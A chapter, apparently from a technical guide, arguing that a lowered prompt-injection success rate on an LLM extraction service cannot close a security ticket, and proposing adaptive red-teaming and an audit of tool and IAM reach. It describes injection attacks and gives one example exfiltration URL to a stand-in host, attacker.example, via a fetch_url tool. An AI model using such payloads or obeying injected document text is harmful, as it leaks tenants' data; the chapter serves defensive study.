A measured injection rate

A pull request arrives on Thursday with a good description. Two days of work on an extraction service's system prompt, ninety lines of diff, and the numbers at the bottom are 9 percent down to 1.5 percent on a sixty-payload suite the team has been running since the summer. Attached are the run log, the payloads that still succeed, and a note that the two survivors are both variants of the retention-policy shape. The last line asks whether the injection ticket can be closed so its author can move on to the ingest backlog, and it is a fair question, because he has done exactly what the ticket asked for.

The reflex at this point is to ask for a held-out payload set: sixty new payloads written by somebody who has not seen the prompt, re-measured blind. It is good methodology and it will find real overfitting, since two days of iterating against a fixed corpus is textbook conditions for tuning to it. It is also the wrong argument to have, because overfitting is not the claim in dispute. Suppose the held-out set comes back at 1.5 percent as well, honestly measured on payloads nobody had seen. A rate measured perfectly is still a rate, and a security ticket closed on "this succeeds only sometimes" is the precise outcome this topic exists to prevent. Ask for the held-out set and you have implicitly agreed that a good enough number would close the ticket.

That is worth naming as its own trap, because it catches careful people rather than careless ones. Asking for a blind re-measurement is better methodology than accepting the first number, so it feels like the rigorous move, and rigour is usually the safe default in an argument about evidence. What it does here is concede the frame. The moment the conversation is about whether the measurement was done properly, both sides have agreed that the measurement is the thing that settles the ticket, and every subsequent exchange is a negotiation over what counts as a good enough figure. The disagreement was never about the quality of the number. Improving an instrument you should not be reading is a way of losing while appearing to be the more careful person in the room.

What 1.5 percent means once you multiply it#

The extraction service processes about 40,000 documents a month across 1,900 tenants. At 1.5 percent, a payload of the shape that still works lands roughly 600 times a month if an attacker uses it at scale, and lands within the first week with near certainty if they use it once against one tenant and retry. The rate is not a probability that the system is safe; it is a throughput. The two days took the expected number of successful injections from about 3,600 a month to about 600, which is a genuine six-fold reduction and is not a number anybody would accept in a row of an availability SLO, the service-level objective a team commits to and reports against each month, let alone as the definition of a fixed vulnerability.

The step that turns the first number into the second is a multiplication, and it is the step a rate is built to hide. A percentage is a ratio with the volume divided out of it, which is exactly what makes it comparable across systems and exactly what makes it useless as a statement about consequences. Put the volume back and the units change from a proportion to a count of events per month. Nine hundredths of forty thousand is three thousand six hundred; one and a half hundredths of the same forty thousand is six hundred. The two days of work moved three thousand successes a month, which is real, and the number still standing after it is a four-figure count of hostile actions per quarter. Nobody in the review would have written six hundred incidents a month into an acceptance criterion, and the only reason it passes as one is that it arrived expressed as a fraction.

There is also a measurement problem worth mentioning once and then setting aside. Nine percent of sixty payloads is between five and six successes; 1.5 percent is one. A binomial proportion of 1 in 60 has a ninety-five percent confidence interval of roughly 0.3 to 8.9 percent, and 6 in 60 sits at roughly 4.7 to 20 percent, so the two intervals overlap and the suite as sized cannot cleanly separate the before from the after. That is a fair caveat and it is not the argument, because it could be answered by running 600 trials instead of 60 and the conclusion would not change. The point of raising it is to make sure nobody mistakes precision for the disagreement.

The experiment that tests the actual claim#

The claim behind "we fixed it in the prompt" is that the prompt now functions as a boundary. A boundary has the property that an adversary who studies it cannot get through, so the experiment that tests it directly is an adaptive one rather than a broader static corpus.

Give one engineer who has not worked on the prompt a copy of it, the tool schema, and a working payload from the surviving two, then eight hours to write new payloads against the current build. Adapting is the whole point: they read the ninety lines, see what the wording quantifies over, and construct text outside it, exactly as the factual-context payload from chapter 2 sits outside a rule about instructions. Score the same way, on tool calls whose arguments came from the document, and report the rate over the payloads they produce.

The result that would change my mind is specific and worth stating before the experiment runs, because a hypothesis written afterwards is worthless. If an engineer with the prompt in hand, the tool schema in hand, and a full day cannot exceed about 3 percent over 200 attempts, that is a materially different world from the one this topic describes, and I would say so and update. What happens in practice is that the adaptive rate comes back somewhere between 40 and 90 percent within the first two hours, because the static suite measured resistance to payloads written before the defence existed and the adaptive test measures resistance to payloads written after it.

That framing also disposes of the held-out-set proposal without insulting it. A held-out set is a static corpus written by somebody who has not seen the prompt; the threat is a corpus written by somebody who has. The held-out set answers "did you overfit", the adaptive test answers "is this a boundary", and only the second question is what the ticket is about.

Auditing what a success reaches#

Suppose the adaptive test goes the way it usually goes. The useful next move is not another round of prompt work, and it is not a debate about wording, which has now consumed a week of two engineers' time. Rule both of those out. Then the move worth making is to characterise what a success reaches, because that is the quantity nothing in the diff touched and the quantity that decides how much the remaining rate matters.

Start from the credentials the service actually runs with rather than the ones the design document assumes.

$ gcloud projects get-iam-policy prod-extraction \
    --flatten="bindings[].members" \
    --filter="bindings.members:extraction-agent@" \
    --format="value(bindings.role)"
roles/storage.objectAdmin
roles/secretmanager.secretAccessor
roles/pubsub.publisher

storage.objectAdmin is project-wide, so the service account that reads tenant 41's uploaded PDF — the non-human identity the deployment authenticates as, and the thing those three roles are attached to — can also delete tenant 900's, and secretAccessor was added eleven months ago for a migration that finished. Neither of those facts is visible from the agent's tool schema, which lists three well-named functions and looks tightly scoped. The audit has to run at the layer where authority is actually granted.

What a payload can reach is a composition of two lists that live in different files and are reviewed by different people, and neither list is legible on its own. The tool schema fixes the set of operations the model is able to ask for. The identity's roles fix the set of objects any of those operations can touch when it runs. The reachable set is every pairing of the two: take delete_source, which the schema permits, and run it under a role that is granted project-wide, and the reach is every object in the project rather than every object belonging to the tenant whose document is being read. Neither half is wrong by itself. A tool named delete_source is a reasonable thing for an extraction service to have, and an object-admin role is a reasonable thing for a service that writes results to have. The cross-tenant deletion exists only in the product of the two, which is why a review of either file in isolation passes and the capability is still there.

Believing a tightly scoped schema is a tightly scoped agent is the mistake this audit exists to catch, and it is tempting for a good reason. The schema is the artefact the team wrote deliberately, reviewed carefully and can read in one screen, and everything in it is named for what it does. That makes it a necessary condition on reach: an operation not in the schema cannot be asked for. It is not remotely a sufficient one, because the schema says what may be asked and the identity says what happens when it is granted. Reading a necessary condition as a sufficient one is the commonest way a careful team ends up with an audit that passed and an exposure that did not move.

The rows that matter are the two with "no" under reversible, and fetch_url is the one teams consistently miss, because it does not look like a dangerous capability — it was added so the service could resolve links inside documents. A payload that persuades the model to fetch https://attacker.example/collect?d=<extracted fields> exfiltrates the document — copies its contents out to a machine the attacker controls — without touching a tool anybody would have flagged in review, and no confirmation dialogue is involved because nothing was written or deleted. This is the concrete content of "what can a remaining success reach", and producing this table takes about ninety minutes, which is roughly a tenth of the two days the last round of prompt wording cost.

The three remediations the table points at are worth separating, because they are three different shapes of control and only one of them is the confirmation pattern of the previous chapter. An egress allowlist on fetch_url limits the hosts the tool may contact to a list you maintain, which converts an open capability into a closed set and needs no human in the loop, because the set is a fact in configuration rather than a judgement about a request. A per-tenant credential in place of the project-wide service account removes the cross-tenant reach entirely, so a payload landing in tenant 41's document cannot name tenant 900's object no matter what it says; that one is least privilege applied at the identity rather than at the tool. Only delete_source needs a confirmation, because deletion of a tenant's only copy is irreversible and has no allowlist that would make it safe. Two of the three cost nothing per request and neither of them appears anywhere in a rate.

A rate is a bad boundary and a good instrument#

None of this makes the measurement worthless, and an engineer who comes away believing that rates do not matter has overcorrected into a position that is both wrong and unhelpful in a review. A measured injection rate is the only thing that tells you whether last month's model upgrade made the system worse, whether the retrieval change that started including PDF footers moved the exposure, or which of two candidate models to deploy when both meet the quality bar. It is a comparative instrument, and comparative instruments do not need to be boundaries to be worth maintaining.

The failure is one of type rather than of quality. A rate answers "how often, against this corpus, at this moment", and an acceptance criterion for a security ticket has to answer "what is now impossible". Those are different questions and no improvement in the first ever turns into an answer to the second, which is why the argument cannot be won by getting the number lower and cannot be lost by the number being high.

Cutting success from 9 percent to 1.5 is therefore two things at once and it helps to hold both. It is a real improvement in a comparative instrument, worth keeping, worth wiring into a gate, and worth crediting to the person who did it. It is also not a partial answer to the acceptance question, in the way that a half-built wall is a partial answer to a request for a wall. The comparison to reach for — and it is a comparison rather than a claim about the system — is a scale reading in kilograms when the question was about temperature: a more accurate reading does not get you closer, because the instrument was never pointing at the quantity. It breaks where comparisons of that kind always break, in that a rate and a guarantee are not unrelated: the rate is a good guide to how urgent the missing guarantee is, which a scale in the wrong units is not. That is why the split ticket below is not a diplomatic device. It is the only bookkeeping in which both statements can be recorded as true.

Where an adaptive test stops helping#

The adaptive experiment inherits the same limitation as the static suite, and it is worth saying so before proposing it, since somebody will eventually propose using it as the gate. If your red-teamer, the engineer whose job for the day is to play attacker against your own system, fails to break the prompt in a day, that establishes something about your red-teamer and about a day, and it does not establish that the next person fails, particularly when the next person has a financial motive and a month. A negative result from an adaptive test is weak evidence of safety and a positive result is strong evidence of exposure, and asymmetric evidence of that shape belongs in prioritisation rather than in a sign-off.

The split ticket does not make anyone comfortable either, and pretending otherwise would misrepresent what it costs. SEC-412 stays open through the next review, and somebody will ask why the security ticket is still red when the injection rate is down eighty-three percent, which is a question with no answer that fits in a status column. The acceptance criterion is doing the arguing in your absence, and that only works if the criterion is precise about which component refuses what.

That precision is harder to write than it looks. "A named component outside the model refuses the operation" is easy to say about delete_source in a system you control, and the same sentence has to survive contact with a vendor selling you a model, a working group drafting a protocol, and a colleague who wants to know what "originated in a data channel" means when a value has passed through three hops. Writing that requirement properly, so that it can be failed rather than merely agreed to, is the next chapter.